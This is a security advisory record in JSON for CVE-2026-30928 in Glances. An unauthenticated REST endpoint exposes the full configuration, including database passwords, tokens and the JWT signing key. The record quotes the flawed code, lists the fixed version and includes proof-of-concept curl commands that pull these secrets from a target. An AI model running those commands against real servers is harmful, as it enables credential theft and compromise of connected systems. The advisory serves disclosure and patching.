{"id":"CVE-2026-30928","aliases":["GHSA-gh4x-f7cq-wwx6","PYSEC-2026-2164"],"url":"https://o3.security/vulnerability/CVE-2026-30928","summary":"Glances Exposes Unauthenticated Configuration Secrets","details":"### Summary\nThe /api/4/config REST API endpoint returns the entire parsed Glances configuration file (glances.conf) via self.config.as_dict() with no filtering of sensitive values. The configuration file contains credentials for all configured backend services including database passwords, API tokens, JWT signing keys, and SSL key passwords.\n\n### Details\nRoot Cause: The as_dict() method in config.py iterates over every section and every key in the ConfigParser and returns them all as a flat dictionary. No sensitive key filtering or redaction is applied.\n\nAffected Code:\n- _File: glances/outputs/glances_restful_api.py, lines 1154-1167_\n```\ndef _api_config(self):\n    \"\"\"Glances API RESTful implementation.\n\n    Return the JSON representation of the Glances configuration file\n    HTTP/200 if OK\n    HTTP/404 if others error\n    \"\"\"\n    try:\n        # Get the RAW value of the config' dict\n        args_json = self.config.as_dict()  # <-- Returns ALL config including secrets\n    except Exception as e:\n        raise HTTPException(status.HTTP_404_NOT_FOUND, f\"Cannot get config ({str(e)})\")\n    else:\n        return GlancesJSONResponse(args_json)\n```\n\n- _File: glances/config.py, lines 280-287_\n```\ndef as_dict(self):\n    \"\"\"Return the configuration as a dict\"\"\"\n    dictionary = {}\n    for section in self.parser.sections():\n        dictionary[section] = {}\n        for option in self.parser.options(section):\n            dictionary[section][option] = self.parser.get(section, option)  # No filtering\n    return dictionary\n```\n- _File: glances/outputs/glances_restful_api.py, lines 472-475 (authentication bypass)_\n```\nif self.args.password:\n    router = APIRouter(prefix=self.url_prefix, dependencies=[Depends(self.authentication)])\nelse:\n    router = APIRouter(prefix=self.url_prefix)  # No authentication!\n```\n### PoC\n- Start Glances in default webserver mode:\n```\nglances -w\n# Glances web server started on http://0.0.0.0:61208/\n```\n- From any network-reachable host, retrieve all configuration secrets:\n```\n# Get entire config including all credentials\ncurl http://target:61208/api/4/config\n```\nStep 3: Extract specific secrets:\n```\n# Get JWT secret key for token forgery\ncurl http://target:61208/api/4/config/outputs/jwt_secret_key\n\n# Get InfluxDB token\ncurl http://target:61208/api/4/config/influxdb2/token\n\n# Get all stored server passwords\ncurl http://target:61208/api/4/config/passwords\n```\n### Impact\nFull Infrastructure Compromise: Database credentials (InfluxDB, MongoDB, PostgreSQL/TimescaleDB, CouchDB, Cassandra) allow direct access to all connected backend data stores.","published":"2026-03-10T16:15:37.335Z","modified":"2026-08-12T03:51:45.981374500Z","cvss":null,"epss":{"score":0.01657,"percentile":0.74775,"asOf":"2026-08-24"},"cisaKev":null,"exploitsKnown":0,"affectedPackages":[{"ecosystem":"PyPI","name":"glances","fixedVersion":"4.5.1"}],"fix":{"url":"https://github.com/nicolargo/glances/commit/306a7136154ba5c1531489c99f8306d84eae37da","label":"nicolargo/glances@306a713"},"references":[{"type":"WEB","url":"https://github.com/nicolargo/glances/releases/tag/v4.5.1"},{"type":"ADVISORY","url":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2026/30xxx/CVE-2026-30928.json"},{"type":"ADVISORY","url":"https://github.com/nicolargo/glances/security/advisories/GHSA-gh4x-f7cq-wwx6"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-30928"},{"type":"FIX","url":"https://github.com/nicolargo/glances/commit/306a7136154ba5c1531489c99f8306d84eae37da"},{"type":"PACKAGE","url":"https://github.com/nicolargo/glances"}],"provenance":{"sources":["OSV.dev","FIRST.org (EPSS)"],"lastVerified":"2026-08-12T03:51:45.981374500Z"}}